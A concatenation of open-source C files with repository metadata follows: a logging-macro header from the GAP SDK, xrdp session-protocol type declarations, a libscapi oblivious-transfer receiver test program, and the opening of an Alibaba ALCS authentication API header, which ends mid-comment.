GreenWaves-Technologies/gap_sdk
|
1b343bba97b7a5ce62a24162bd72eef5cc67e269
|
3fea306d52ee33f923f2423c5a75d9eb1c07e904
|
refs/heads/master
| 2023-09-01T14:38:34.270427
| 2023-08-10T09:04:44
| 2023-08-10T09:04:44
| 133,324,605
| 145
| 96
|
Apache-2.0
| 2023-08-27T19:03:52
| 2018-05-14T07:50:29
|
C
|
UTF-8
|
C
| false
| false
| 15,554
|
h
|
pi_log.h
|
/*
* Copyright (C) 2020 GreenWaves Technologies
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
* You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
*/
/*
* Created by Mathieu Barbe <mathieu.barbe@greenwaves-technologies.com>.
* on 1/15/2020.
*/
#ifndef PI_LOG_H
#define PI_LOG_H
#include "stdint.h"
#include "stdarg.h"
#include "stdio.h"
#include "pmsis.h"
#ifdef __cplusplus
extern "C" {
#endif
/**
* @brief Log level
*
*/
#define PI_LOG_NONE 0 /*!< No log output */
#define PI_LOG_ERROR 1 /*!< Report API errors. */
#define PI_LOG_WARNING 2 /*!< Alert user: losing a dev when transfer is on going... */
#define PI_LOG_INFO 3 /*!< System info : frequency change, voltage, ... */
#define PI_LOG_DEBUG 4 /*!< Common information for users. App level. */
#define PI_LOG_TRACE 5 /*!< Information low level for driver dev (driver transfers). */
typedef uint8_t pi_log_level_t;
#define PI_LOG_ERROR_TEXT E
#define PI_LOG_WARNING_TEXT W
#define PI_LOG_INFO_TEXT I
#define PI_LOG_DEBUG_TEXT D
#define PI_LOG_TRACE_TEXT T
#ifndef PI_LOG_DEFAULT_LEVEL
#define PI_LOG_DEFAULT_LEVEL PI_LOG_NONE
#endif
#ifndef PI_LOG_DEFAULT_DYNAMIC_LEVEL
#define PI_LOG_DEFAULT_DYNAMIC_LEVEL PI_LOG_TRACE
#endif
#ifndef PI_LOG_LOCAL_LEVEL
#define PI_LOG_LOCAL_LEVEL PI_LOG_DEFAULT_LEVEL
#endif
// Dynamic log level. This global variable must be implemented by PMSIS implementation.
extern pi_log_level_t dynamic_log_level; // Must be initialized at PI_LOG_DEFAULT_DYNAMIC_LEVEL By default.
typedef int (*vprintf_like_t)(const char *, va_list);
// Function pointer used to write log output. This global variable must be implemented by PMSIS implementation.
extern vprintf_like_t pi_log_vprint_func; // By default: &pi_log_default_vprintf;
/**
* @brief Set function used to output log entries
*
* By default, log output goes to printf function.
* This function can be used to redirect log
* output to some other destination, such as file or network.
* Returns the original log handler,
* which may be necessary to return output to the previous destination.
*
* @param func new Function used for output. Must have same signature as vprintf.
*
* @return func old Function used for output.
*/
static inline vprintf_like_t pi_log_set_vprintf(vprintf_like_t func)
{
vprintf_like_t old = pi_log_vprint_func;
pi_log_vprint_func = func;
return old;
}
/**
* @brief Set the log level.
*
* By default, the dynamical log level is set to PI_LOG_DEFAULT_DYNAMIC_LEVEL.
* This function can be used to set this level.
* Returns the original dynamic log level.
*
* @param level new level used for log level.
*
* @return level old log level.
*/
static inline pi_log_level_t pi_log_set_dynamic_level(pi_log_level_t level)
{
pi_log_level_t old = dynamic_log_level;
dynamic_log_level = level;
return old;
}
/**
* @brief Get the current dynamic log level.
*
* @return the dynamic log level, it may be different than the global log level (Max(dynamic_level, static_level))
*/
static inline pi_log_level_t pi_log_get_dynamic_level(void)
{
return dynamic_log_level;
}
/**
* @brief Get the local log level.
*
* @return the static local log level, it may be different than global log level (Max(dynamic_level, static_level))
*/
#define pi_log_get_static_level() PI_LOG_LOCAL_LEVEL;
/**
* @brief Get the current log level.
*
* @return Return the current log level: Max(dynamic_level, static_level).
*/
static inline pi_log_level_t pi_log_get_level(void)
{
pi_log_level_t dynamic = pi_log_get_dynamic_level();
return (dynamic <= PI_LOG_LOCAL_LEVEL) ? dynamic : PI_LOG_LOCAL_LEVEL;
}
/**
* Log format
*/
// Colors
#ifndef NO_LOG_COLORS
#define LOG_COLOR_BLACK "30"
#define LOG_COLOR_RED "31"
#define LOG_COLOR_GREEN "32"
#define LOG_COLOR_BROWN "33"
#define LOG_COLOR_BLUE "34"
#define LOG_COLOR_PURPLE "35"
#define LOG_COLOR_CYAN "36"
#define LOG_COLOR(COLOR) "\033[0;" COLOR "m"
#define LOG_BOLD(COLOR) "\033[1;" COLOR "m"
#define LOG_RESET_COLOR "\033[0m"
#define LOG_COLOR_E LOG_COLOR(LOG_COLOR_RED)
#define LOG_COLOR_W LOG_COLOR(LOG_COLOR_BROWN)
#define LOG_COLOR_I
#define LOG_COLOR_D
#define LOG_COLOR_T
#else //CONFIG_LOG_COLORS
#define LOG_COLOR_E
#define LOG_COLOR_W
#define LOG_COLOR_I
#define LOG_COLOR_D
#define LOG_COLOR_T
#define LOG_RESET_COLOR
#endif //CONFIG_LOG_COLORS
#define LETTER2COLOR(letter) LOG_COLOR_ ## letter
// Core and cluster id
#ifndef PI_LOG_NO_CORE_ID
#define CORE_FORMAT "[%lu:%lu] "
#define CORE_VARS pi_cluster_id(), pi_core_id(),
#else
#define CORE_FORMAT
#define CORE_VARS
#endif
// Log format
#define STRINGIFY_LETTER(letter) #letter
#ifdef __PULPOS2__
#define PI_LOG_FORMAT(tag, color, letter, format) LOG_RESET_COLOR "[" LOG_COLOR(color) STRINGIFY_LETTER(letter) "-" "%s(%lu,%lu)" LOG_RESET_COLOR "] " LETTER2COLOR(letter) format LOG_RESET_COLOR
#else
#define PI_LOG_FORMAT(letter, format) LETTER2COLOR(letter) STRINGIFY_LETTER(letter) " " CORE_FORMAT "%s: " format LOG_RESET_COLOR
#endif
/**
* @brief Write message into the log
*
* This function is not intended to be used directly. Instead, use one of
* PI_LOG_ERR, PI_LOG_WNG, PI_LOG_INF, PI_LOG_DBG, PI_LOG_TRC macros.
*/
static inline void pi_log_write(pi_log_level_t level, const char *tag, const char *format, ...)
{
if(level > dynamic_log_level)
return;
va_list list;
va_start(list, format);
(*pi_log_vprint_func)(format, list);
va_end(list);
}
#ifdef __PULPOS2__
#define PI_LOG(level, tag, color, fmt, ...) \
pi_log_write(level, tag, PI_LOG_FORMAT(tag, color, level ## _TEXT, fmt), tag, pi_cluster_id(), pi_core_id(), ##__VA_ARGS__)
#if PI_LOG_LOCAL_LEVEL >= PI_LOG_ERROR
#define PI_LOG_ERR(tag, color, fmt, ...) PI_LOG(PI_LOG_ERROR, tag, color, fmt, ##__VA_ARGS__)
#else // Error
#define PI_LOG_ERR(tag, color, fmt, ...)
#endif
#if PI_LOG_LOCAL_LEVEL >= PI_LOG_WARNING
#define PI_LOG_WNG(tag, color, fmt, ...) PI_LOG(PI_LOG_WARNING, tag, color, fmt, ##__VA_ARGS__)
#else // Warning
#define PI_LOG_WNG(tag, color, fmt, ...)
#endif
#if PI_LOG_LOCAL_LEVEL >= PI_LOG_INFO
#define PI_LOG_INF(tag, color, fmt, ...) PI_LOG(PI_LOG_INFO, tag, color, fmt, ##__VA_ARGS__)
#else // Info
#define PI_LOG_INF(tag, color, fmt, ...)
#endif
#if PI_LOG_LOCAL_LEVEL >= PI_LOG_DEBUG
#define PI_LOG_DBG(tag, color, fmt, ...) PI_LOG(PI_LOG_DEBUG, tag, color, fmt, ##__VA_ARGS__)
#else // Info
#define PI_LOG_DBG(tag, color, fmt, ...)
#endif
#if PI_LOG_LOCAL_LEVEL >= PI_LOG_TRACE
#define PI_LOG_TRC(tag, color, fmt, ...) PI_LOG(PI_LOG_TRACE, tag, color, fmt, ##__VA_ARGS__)
#else // Trace
#define PI_LOG_TRC(tag, color, fmt, ...)
#endif
#else
#define PI_LOG(level, tag, fmt, ...) \
pi_log_write(level, tag, PI_LOG_FORMAT(level ## _TEXT, fmt), CORE_VARS tag, ##__VA_ARGS__)
#if PI_LOG_LOCAL_LEVEL >= PI_LOG_ERROR
#define PI_LOG_ERR(tag, fmt, ...) PI_LOG(PI_LOG_ERROR, tag, fmt, ##__VA_ARGS__)
#else // Error
#define PI_LOG_ERR(tag, fmt, ...)
#endif
#if PI_LOG_LOCAL_LEVEL >= PI_LOG_WARNING
#define PI_LOG_WNG(tag, fmt, ...) PI_LOG(PI_LOG_WARNING, tag, fmt, ##__VA_ARGS__)
#else // Warning
#define PI_LOG_WNG(tag, fmt, ...)
#endif
#if PI_LOG_LOCAL_LEVEL >= PI_LOG_INFO
#define PI_LOG_INF(tag, fmt, ...) PI_LOG(PI_LOG_INFO, tag, fmt, ##__VA_ARGS__)
#else // Info
#define PI_LOG_INF(tag, fmt, ...)
#endif
#if PI_LOG_LOCAL_LEVEL >= PI_LOG_DEBUG
#define PI_LOG_DBG(tag, fmt, ...) PI_LOG(PI_LOG_DEBUG, tag, fmt, ##__VA_ARGS__)
#else // Info
#define PI_LOG_DBG(tag, fmt, ...)
#endif
#if PI_LOG_LOCAL_LEVEL >= PI_LOG_TRACE
#define PI_LOG_TRC(tag, fmt, ...) PI_LOG(PI_LOG_TRACE, tag, fmt, ##__VA_ARGS__)
#else // Trace
#define PI_LOG_TRC(tag, fmt, ...)
#endif
#endif
/**
* @brief Function used by default to write log throught vprintf.
* @param format
* @param list
* @return
*/
static inline int pi_log_default_vprintf(const char *format, va_list list)
{
int rc;
// va_list list;
// va_start(list, format);
rc = vprintf(format, list);
// va_end(list);
return rc;
}
;
/**
* Module macros
*/
#ifdef __PULPOS2__
#define SSBL_TAG "SSBL"
#define SSBL_COLOR LOG_COLOR_PURPLE
#define SSBL_ERR(fmt, ...) PI_LOG_ERR(SSBL_TAG, SSBL_COLOR, fmt, ##__VA_ARGS__)
#define SSBL_WNG(fmt, ...) PI_LOG_WNG(SSBL_TAG, SSBL_COLOR, fmt, ##__VA_ARGS__)
#define SSBL_INF(fmt, ...) PI_LOG_INF(SSBL_TAG, SSBL_COLOR, fmt, ##__VA_ARGS__)
#define SSBL_DBG(fmt, ...) PI_LOG_DBG(SSBL_TAG, SSBL_COLOR, fmt, ##__VA_ARGS__)
#define SSBL_TRC(fmt, ...) PI_LOG_TRC(SSBL_TAG, SSBL_COLOR, fmt, ##__VA_ARGS__)
#if defined(CONFIG_TRACE_ALL) || defined(CONFIG_TRACE_I2C)
#define I2C_TAG "I2C"
#define I2C_COLOR LOG_COLOR_PURPLE
#define I2C_ERR(fmt, ...) PI_LOG_ERR(I2C_TAG, I2C_COLOR, fmt, ##__VA_ARGS__)
#define I2C_WNG(fmt, ...) PI_LOG_WNG(I2C_TAG, I2C_COLOR, fmt, ##__VA_ARGS__)
#define I2C_INF(fmt, ...) PI_LOG_INF(I2C_TAG, I2C_COLOR, fmt, ##__VA_ARGS__)
#define I2C_DBG(fmt, ...) PI_LOG_DBG(I2C_TAG, I2C_COLOR, fmt, ##__VA_ARGS__)
#define I2C_TRC(fmt, ...) PI_LOG_TRC(I2C_TAG, I2C_COLOR, fmt, ##__VA_ARGS__)
#else
#define I2C_ERR(fmt, ...)
#define I2C_WNG(fmt, ...)
#define I2C_INF(fmt, ...)
#define I2C_DBG(fmt, ...)
#define I2C_TRC(fmt, ...)
#endif
#if defined(CONFIG_TRACE_ALL) || defined(CONFIG_TRACE_I2S)
#define I2S_TAG "I2S"
#define I2S_COLOR LOG_COLOR_PURPLE
#define I2S_ERR(fmt, ...) PI_LOG_ERR(I2S_TAG, I2S_COLOR, fmt, ##__VA_ARGS__)
#define I2S_WNG(fmt, ...) PI_LOG_WNG(I2S_TAG, I2S_COLOR, fmt, ##__VA_ARGS__)
#define I2S_INF(fmt, ...) PI_LOG_INF(I2S_TAG, I2S_COLOR, fmt, ##__VA_ARGS__)
#define I2S_DBG(fmt, ...) PI_LOG_DBG(I2S_TAG, I2S_COLOR, fmt, ##__VA_ARGS__)
#define I2S_TRC(fmt, ...) PI_LOG_TRC(I2S_TAG, I2S_COLOR, fmt, ##__VA_ARGS__)
#else
#define I2S_ERR(fmt, ...)
#define I2S_WNG(fmt, ...)
#define I2S_INF(fmt, ...)
#define I2S_DBG(fmt, ...)
#define I2S_TRC(fmt, ...)
#endif
#if defined(CONFIG_TRACE_ALL) || defined(CONFIG_TRACE_INIT)
#define INIT_TAG "INIT"
#define INIT_COLOR LOG_COLOR_PURPLE
#define INIT_ERR(fmt, ...) PI_LOG_ERR(INIT_TAG, INIT_COLOR, fmt, ##__VA_ARGS__)
#define INIT_WNG(fmt, ...) PI_LOG_WNG(INIT_TAG, INIT_COLOR, fmt, ##__VA_ARGS__)
#define INIT_INF(fmt, ...) PI_LOG_INF(INIT_TAG, INIT_COLOR, fmt, ##__VA_ARGS__)
#define INIT_DBG(fmt, ...) PI_LOG_DBG(INIT_TAG, INIT_COLOR, fmt, ##__VA_ARGS__)
#define INIT_TRC(fmt, ...) PI_LOG_TRC(INIT_TAG, INIT_COLOR, fmt, ##__VA_ARGS__)
#else
#define INIT_ERR(fmt, ...)
#define INIT_WNG(fmt, ...)
#define INIT_INF(fmt, ...)
#define INIT_DBG(fmt, ...)
#define INIT_TRC(fmt, ...)
#endif
#if defined(CONFIG_TRACE_ALL) || defined(CONFIG_TRACE_HYPER)
#define HYPER_TAG "HYPER"
#define HYPER_COLOR LOG_COLOR_PURPLE
#define HYPER_ERR(fmt, ...) PI_LOG_ERR(HYPER_TAG, HYPER_COLOR, fmt, ##__VA_ARGS__)
#define HYPER_WNG(fmt, ...) PI_LOG_WNG(HYPER_TAG, HYPER_COLOR, fmt, ##__VA_ARGS__)
#define HYPER_INF(fmt, ...) PI_LOG_INF(HYPER_TAG, HYPER_COLOR, fmt, ##__VA_ARGS__)
#define HYPER_DBG(fmt, ...) PI_LOG_DBG(HYPER_TAG, HYPER_COLOR, fmt, ##__VA_ARGS__)
#define HYPER_TRC(fmt, ...) PI_LOG_TRC(HYPER_TAG, HYPER_COLOR, fmt, ##__VA_ARGS__)
#else
#define HYPER_ERR(fmt, ...)
#define HYPER_WNG(fmt, ...)
#define HYPER_INF(fmt, ...)
#define HYPER_DBG(fmt, ...)
#define HYPER_TRC(fmt, ...)
#endif
#if defined(CONFIG_TRACE_ALL) || defined(CONFIG_TRACE_MRAM)
#define MRAM_TAG "MRAM"
#define MRAM_COLOR LOG_COLOR_PURPLE
#define MRAM_ERR(fmt, ...) PI_LOG_ERR(MRAM_TAG, MRAM_COLOR, fmt, ##__VA_ARGS__)
#define MRAM_WNG(fmt, ...) PI_LOG_WNG(MRAM_TAG, MRAM_COLOR, fmt, ##__VA_ARGS__)
#define MRAM_INF(fmt, ...) PI_LOG_INF(MRAM_TAG, MRAM_COLOR, fmt, ##__VA_ARGS__)
#define MRAM_DBG(fmt, ...) PI_LOG_DBG(MRAM_TAG, MRAM_COLOR, fmt, ##__VA_ARGS__)
#define MRAM_TRC(fmt, ...) PI_LOG_TRC(MRAM_TAG, MRAM_COLOR, fmt, ##__VA_ARGS__)
#else
#define MRAM_ERR(fmt, ...)
#define MRAM_WNG(fmt, ...)
#define MRAM_INF(fmt, ...)
#define MRAM_DBG(fmt, ...)
#define MRAM_TRC(fmt, ...)
#endif
#if defined(CONFIG_TRACE_ALL) || defined(CONFIG_TRACE_FREQ)
#define FREQ_TAG "FREQ"
#define FREQ_COLOR LOG_COLOR_PURPLE
#define FREQ_ERR(fmt, ...) PI_LOG_ERR(FREQ_TAG, FREQ_COLOR, fmt, ##__VA_ARGS__)
#define FREQ_WNG(fmt, ...) PI_LOG_WNG(FREQ_TAG, FREQ_COLOR, fmt, ##__VA_ARGS__)
#define FREQ_INF(fmt, ...) PI_LOG_INF(FREQ_TAG, FREQ_COLOR, fmt, ##__VA_ARGS__)
#define FREQ_DBG(fmt, ...) PI_LOG_DBG(FREQ_TAG, FREQ_COLOR, fmt, ##__VA_ARGS__)
#define FREQ_TRC(fmt, ...) PI_LOG_TRC(FREQ_TAG, FREQ_COLOR, fmt, ##__VA_ARGS__)
#else
#define FREQ_ERR(fmt, ...)
#define FREQ_WNG(fmt, ...)
#define FREQ_INF(fmt, ...)
#define FREQ_DBG(fmt, ...)
#define FREQ_TRC(fmt, ...)
#endif
#else
#define SSBL_TAG "ssbl"
#define SSBL_ERR(fmt, ...) PI_LOG_ERR(SSBL_TAG, fmt, ##__VA_ARGS__)
#define SSBL_WNG(fmt, ...) PI_LOG_WNG(SSBL_TAG, fmt, ##__VA_ARGS__)
#define SSBL_INF(fmt, ...) PI_LOG_INF(SSBL_TAG, fmt, ##__VA_ARGS__)
#define SSBL_DBG(fmt, ...) PI_LOG_DBG(SSBL_TAG, fmt, ##__VA_ARGS__)
#define SSBL_TRC(fmt, ...) PI_LOG_TRC(SSBL_TAG, fmt, ##__VA_ARGS__)
#define I2C_TAG "i2c"
#define I2C_ERR(fmt, ...) PI_LOG_ERR(I2C_TAG, fmt, ##__VA_ARGS__)
#define I2C_WNG(fmt, ...) PI_LOG_WNG(I2C_TAG, fmt, ##__VA_ARGS__)
#define I2C_INF(fmt, ...) PI_LOG_INF(I2C_TAG, fmt, ##__VA_ARGS__)
#define I2C_DBG(fmt, ...) PI_LOG_DBG(I2C_TAG, fmt, ##__VA_ARGS__)
#define I2C_TRC(fmt, ...) PI_LOG_TRC(I2C_TAG, fmt, ##__VA_ARGS__)
#define I2S_TAG "i2s"
#define I2S_ERR(fmt, ...) PI_LOG_ERR(I2S_TAG, fmt, ##__VA_ARGS__)
#define I2S_WNG(fmt, ...) PI_LOG_WNG(I2S_TAG, fmt, ##__VA_ARGS__)
#define I2S_INF(fmt, ...) PI_LOG_INF(I2S_TAG, fmt, ##__VA_ARGS__)
#define I2S_DBG(fmt, ...) PI_LOG_DBG(I2S_TAG, fmt, ##__VA_ARGS__)
#define I2S_TRC(fmt, ...) PI_LOG_TRC(I2S_TAG, fmt, ##__VA_ARGS__)
#define INIT_TAG "init"
#define INIT_ERR(fmt, ...) PI_LOG_ERR(INIT_TAG, fmt, ##__VA_ARGS__)
#define INIT_WNG(fmt, ...) PI_LOG_WNG(INIT_TAG, fmt, ##__VA_ARGS__)
#define INIT_INF(fmt, ...) PI_LOG_INF(INIT_TAG, fmt, ##__VA_ARGS__)
#define INIT_DBG(fmt, ...) PI_LOG_DBG(INIT_TAG, fmt, ##__VA_ARGS__)
#define INIT_TRC(fmt, ...) PI_LOG_TRC(INIT_TAG, fmt, ##__VA_ARGS__)
#define HYPER_TAG "hyper"
#define HYPER_ERR(fmt, ...) PI_LOG_ERR(HYPER_TAG, fmt, ##__VA_ARGS__)
#define HYPER_WNG(fmt, ...) PI_LOG_WNG(HYPER_TAG, fmt, ##__VA_ARGS__)
#define HYPER_INF(fmt, ...) PI_LOG_INF(HYPER_TAG, fmt, ##__VA_ARGS__)
#define HYPER_DBG(fmt, ...) PI_LOG_DBG(HYPER_TAG, fmt, ##__VA_ARGS__)
#define HYPER_TRC(fmt, ...) PI_LOG_TRC(HYPER_TAG, fmt, ##__VA_ARGS__)
//#define MRAM_TAG "mram"
#define MRAM_ERR(fmt, ...) PI_LOG_ERR(MRAM_TAG, fmt, ##__VA_ARGS__)
#define MRAM_WNG(fmt, ...) PI_LOG_WNG(MRAM_TAG, fmt, ##__VA_ARGS__)
#define MRAM_INF(fmt, ...)
#define MRAM_DBG(fmt, ...) PI_LOG_DBG(MRAM_TAG, fmt, ##__VA_ARGS__)
#define MRAM_TRC(fmt, ...) PI_LOG_TRC(MRAM_TAG, fmt, ##__VA_ARGS__)
#define FREQ_TAG "freq"
#define FREQ_ERR(fmt, ...) PI_LOG_ERR(FREQ_TAG, fmt, ##__VA_ARGS__)
#define FREQ_WNG(fmt, ...) PI_LOG_WNG(FREQ_TAG, fmt, ##__VA_ARGS__)
#define FREQ_INF(fmt, ...) PI_LOG_INF(FREQ_TAG, fmt, ##__VA_ARGS__)
#define FREQ_DBG(fmt, ...) PI_LOG_DBG(FREQ_TAG, fmt, ##__VA_ARGS__)
#define FREQ_TRC(fmt, ...) PI_LOG_TRC(FREQ_TAG, fmt, ##__VA_ARGS__)
#endif
#ifdef __cplusplus
}
#endif
#endif //PI_LOG_H
|
a01c1b66cbd207f99d96e6ce570772ad53dd603b
|
1bb631c77f3ad487bab8add958214ca3fa07a636
|
/libipm/scp_application_types.h
|
89c7ca8aac7b00b48732818fb277e0b958e8da78
|
[
"Apache-2.0",
"LicenseRef-scancode-unknown-license-reference"
] |
permissive
|
neutrinolabs/xrdp
|
210b4d4c22f10e17464ad4e9646aff649916a2d5
|
a111a0fdfe2421ef600e40708b5f0168594cfb23
|
refs/heads/devel
| 2023-08-31T05:49:06.191559
| 2023-08-24T01:14:48
| 2023-08-24T01:14:48
| 1,660,127
| 4,864
| 2,575
|
Apache-2.0
| 2023-09-09T21:18:54
| 2011-04-25T14:31:17
|
C
|
UTF-8
|
C
| false
| false
| 4,145
|
h
|
scp_application_types.h
|
/**
* xrdp: A Remote Desktop Protocol server.
*
* Copyright (C) Jay Sorg 2004-2022, all xrdp contributors
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
* You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
*/
/**
*
* @file libipm/scp_application_types.h
* @brief scp type declarations intended for use in the application
* @author Simone Fedele/ Matt Burt
*/
#ifndef SCP_APPLICATION_TYPES_H
#define SCP_APPLICATION_TYPES_H
#include <sys/types.h>
/**
* Select the desktop application session type
*/
enum scp_session_type
{
SCP_SESSION_TYPE_XVNC = 0, ///< Session used Xvnc
SCP_SESSION_TYPE_XORG ///< Session used Xorg + xorgxrdp
};
#define SCP_SESSION_TYPE_TO_STR(t) \
((t) == SCP_SESSION_TYPE_XVNC ? "Xvnc" : \
(t) == SCP_SESSION_TYPE_XORG ? "Xorg" : \
"unknown" \
)
/**
* @brief Information to display about a particular sesman session
*/
struct scp_session_info
{
int sid; ///< Session ID
unsigned int display; ///< Display number
enum scp_session_type type; ///< Session type
unsigned short width; ///< Initial session width
unsigned short height; ///< Initial session height
unsigned char bpp; ///< Session bits-per-pixel
time_t start_time; ///< When session was created
uid_t uid; ///< Username for session
char *start_ip_addr; ///< IP address of starting client
};
/**
* Status of a login request
*/
enum scp_login_status
{
E_SCP_LOGIN_OK = 0, ///< The connection is now loggned in
E_SCP_LOGIN_ALREADY_LOGGED_IN, //< A user is currently logged in
E_SCP_LOGIN_NO_MEMORY, ///< Memory allocation failure
/**
* User couldn't be authenticated, or user doesn't exist */
E_SCP_LOGIN_NOT_AUTHENTICATED,
E_SCP_LOGIN_NOT_AUTHORIZED, ///< User is authenticated, but not authorized
E_SCP_LOGIN_GENERAL_ERROR ///< An unspecific error has occurred
};
/**
* Convert an scp_login_status code to a readable string for output
* @param n Message code
* @param buff to contain string
* @param buff_size length of buff
* @return buff is returned for convenience.
*/
const char *
scp_login_status_to_str(enum scp_login_status n,
char *buff, unsigned int buff_size);
/**
* Status of a session creation request
*/
enum scp_screate_status
{
E_SCP_SCREATE_OK = 0, ///< Session created
E_SCP_SCREATE_NO_MEMORY, ///< Memory allocation failure
E_SCP_SCREATE_NOT_LOGGED_IN, ///< Connection is not logged in
E_SCP_SCREATE_MAX_REACHED, ///< Max number of sessions already reached
E_SCP_SCREATE_NO_DISPLAY, ///< No X server display number is available
E_SCP_SCREATE_X_SERVER_FAIL, ///< X server could not be started
E_SCP_SCREATE_GENERAL_ERROR ///< An unspecific error has occurred
};
/**
* Convert an scp_session creation code to a readable string for output
* @param n Message code
* @param buff to contain string
* @param buff_size length of buff
* @return buff is returned for convenience.
*/
const char *
scp_screate_status_to_str(enum scp_screate_status n,
char *buff, unsigned int buff_size);
/**
* Status of an list sessions message
*/
enum scp_list_sessions_status
{
/**
* This message contains a valid session, and other messages
* will be sent
*/
E_SCP_LS_SESSION_INFO = 0,
/**
* This message indicates the end of a list of sessions. No session
* is contained in the message */
E_SCP_LS_END_OF_LIST,
/**
* Client hasn't logged in yet
*/
E_SCP_LS_NOT_LOGGED_IN = 100,
/**
* A client-side error occurred allocating memory for the session
*/
E_SCP_LS_NO_MEMORY
};
#endif /* SCP_APPLICATION_TYPES_H */
|
aae74815f58f593dffcc941f0fa7b255ed39bfe9
|
771b8d391585df59d8c7438e21e54976c4180011
|
/lib/OTExtensionBristol/SimpleOT/ot_receiver_test.c
|
bab743605f66f42b338d88722a82de51e761f2ac
|
[
"LicenseRef-scancode-unknown-license-reference",
"LicenseRef-scancode-warranty-disclaimer",
"MIT"
] |
permissive
|
cryptobiu/libscapi
|
1f11f92065c1cea418e73b932c9810d374bac060
|
1f70a88548501eaca5fb635194443e7a2b871088
|
refs/heads/master
| 2023-08-10T08:34:21.304797
| 2022-08-16T16:48:20
| 2022-08-16T16:48:20
| 53,246,303
| 186
| 74
|
MIT
| 2023-07-20T11:01:17
| 2016-03-06T08:59:43
|
C++
|
UTF-8
|
C
| false
| false
| 1,774
|
c
|
ot_receiver_test.c
|
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
#include <assert.h>
#include "ot_receiver.h"
#include "ot_config.h"
#include "randombytes.h"
#include "network.h"
#include "cpucycles.h"
void ot_receiver_test(SIMPLEOT_RECEIVER * receiver, int sockfd)
{
int i, j, k;
unsigned char Rs_pack[ 4 * PACKBYTES ];
unsigned char keys[ 4 ][ HASHBYTES ];
unsigned char cs[ 4 ];
//
reading(sockfd, receiver->S_pack, sizeof(receiver->S_pack));
receiver_procS(receiver);
//
receiver_maketable(receiver);
for (i = 0; i < NOTS; i += 4)
{
randombytes(cs, sizeof(cs));
for (j = 0; j < 4; j++)
{
cs[j] &= 1;
if (VERBOSE) printf("%4d-th choose bit = %d\n", i+j, cs[j]);
}
receiver_rsgen(receiver, Rs_pack, cs);
writing(sockfd, Rs_pack, sizeof(Rs_pack));
receiver_keygen(receiver, keys);
//
if (VERBOSE)
{
for (j = 0; j < 4; j++)
{
printf("%4d-th reciever key:", i+j);
for (k = 0; k < HASHBYTES; k++) printf("%.2X", keys[j][k]);
printf("\n");
}
}
}
}
int main(int argc, char * argv[])
{
int sockfd;
int sndbuf = BUFSIZE;
int flag = 1;
long long t = 0;
SIMPLEOT_RECEIVER receiver;
//
if (argc != 3)
{
fprintf(stderr,"usage %s hostname port\n", argv[0]); exit(-1);
}
//
client_connect(&sockfd, argv[1], atoi(argv[2]));
if( setsockopt(sockfd, SOL_SOCKET, SO_SNDBUF, &sndbuf, sizeof(int)) != 0 ) { perror("ERROR setsockopt"); exit(-1); }
if( setsockopt(sockfd, IPPROTO_TCP, TCP_NODELAY, &flag, sizeof(int)) != 0 ) { perror("ERROR setsockopt"); exit(-1); }
t -= cpucycles_amd64cpuinfo();
ot_receiver_test(&receiver, sockfd);
t += cpucycles_amd64cpuinfo();
//
if (!VERBOSE) printf("[n=%d] Elapsed time: %lld cycles\n", NOTS, t);
shutdown (sockfd, 2);
//
return 0;
}
|
6547bfe2bdbca3189d59a7ba338c74ce27431aba
|
2af283f8a587bcc3d2a744f7d86007ab2428f9bc
|
/src/dev_model/alcs/alcs_api.h
|
cdeb96ed3d6eea33d9a570b4a79c14b9de590d67
|
[
"Apache-2.0"
] |
permissive
|
aliyun/iotkit-embedded
|
bfda585c8a5db3fea215ad15fe7699cebde1dfc8
|
3010153fb53865ce3925f8e43900adbbfa358874
|
refs/heads/v3.0.1
| 2023-03-12T23:14:04.902446
| 2022-11-11T07:12:05
| 2022-11-11T09:01:43
| 106,364,205
| 544
| 289
|
Apache-2.0
| 2023-08-22T06:00:04
| 2017-10-10T03:30:08
|
C
|
UTF-8
|
C
| false
| false
| 4,610
|
h
|
alcs_api.h
|
/*
* Copyright (C) 2015-2018 Alibaba Group Holding Limited
*/
#include "alcs_coap.h"
#ifndef __ALCS_API_H__
#define __ALCS_API_H__
#define SESSIONID_LEN 8
#define SESSIONKEY_MAXLEN 30
#define ALCS_ERR_AUTH_BASE (COAP_ERROR_BASE | 100)
#define ALCS_ERR_AUTH_AUTHING (ALCS_ERR_AUTH_BASE | 1)
#define ALCS_ERR_AUTH_NOCTLKEY (ALCS_ERR_AUTH_BASE | 2)
#define ALCS_ERR_AUTH_UNAUTH (ALCS_ERR_AUTH_BASE | 3)
#define ALCS_ERR_ENCRYPT_FAILED (ALCS_ERR_AUTH_BASE | 5)
typedef enum {
ALCS_AUTH_OK = 200,
ALCS_AUTH_REVOCATE = 501,
ALCS_AUTH_UNMATCHPREFIX,
ALCS_AUTH_INVALIDPARAM,
ALCS_AUTH_AUTHLISTEMPTY,
ALCS_AUTH_VERNOTSUPPORT,
ALCS_AUTH_ILLEGALSIGN,
ALCS_HEART_FAILAUTH,
} Auth_Result_Code;
#include "iotx_alcs_config.h"
typedef struct {
int code;
char *msg;/* MUST call coap_free to free memory */
} ResponseMsg;
#ifdef __cplusplus
extern "C" {
#endif /* __cplusplus */
/*
typedef struct
{
ResponseMsg msg;
char sessionId [SESSIONID_LEN];
char sessionKey[SESSIONKEY_MAXLEN];
NetworkAddr addr;
} AuthResult;
*/
typedef void (*AuthHandler)(CoAPContext *context, NetworkAddr *addr, void *user_data, ResponseMsg *result);
typedef struct {
char *productKey;
char *deviceName;
char *accessKey;
char *accessToken;
void *user_data;
AuthHandler handler;
} AuthParam;
typedef struct {
NetworkAddr addr;
char *pk;
char *dn;
} AlcsDeviceKey;
/* 初始化认证模块
* context: 为当前设备生成的CoAPContext对象指针
* productKey:当前设备的productKey,可以为空
* deviceName: 当前设备的deviceName,可以为空
* role: 1 --client
* 2 --server
* 3 --client&server
*/
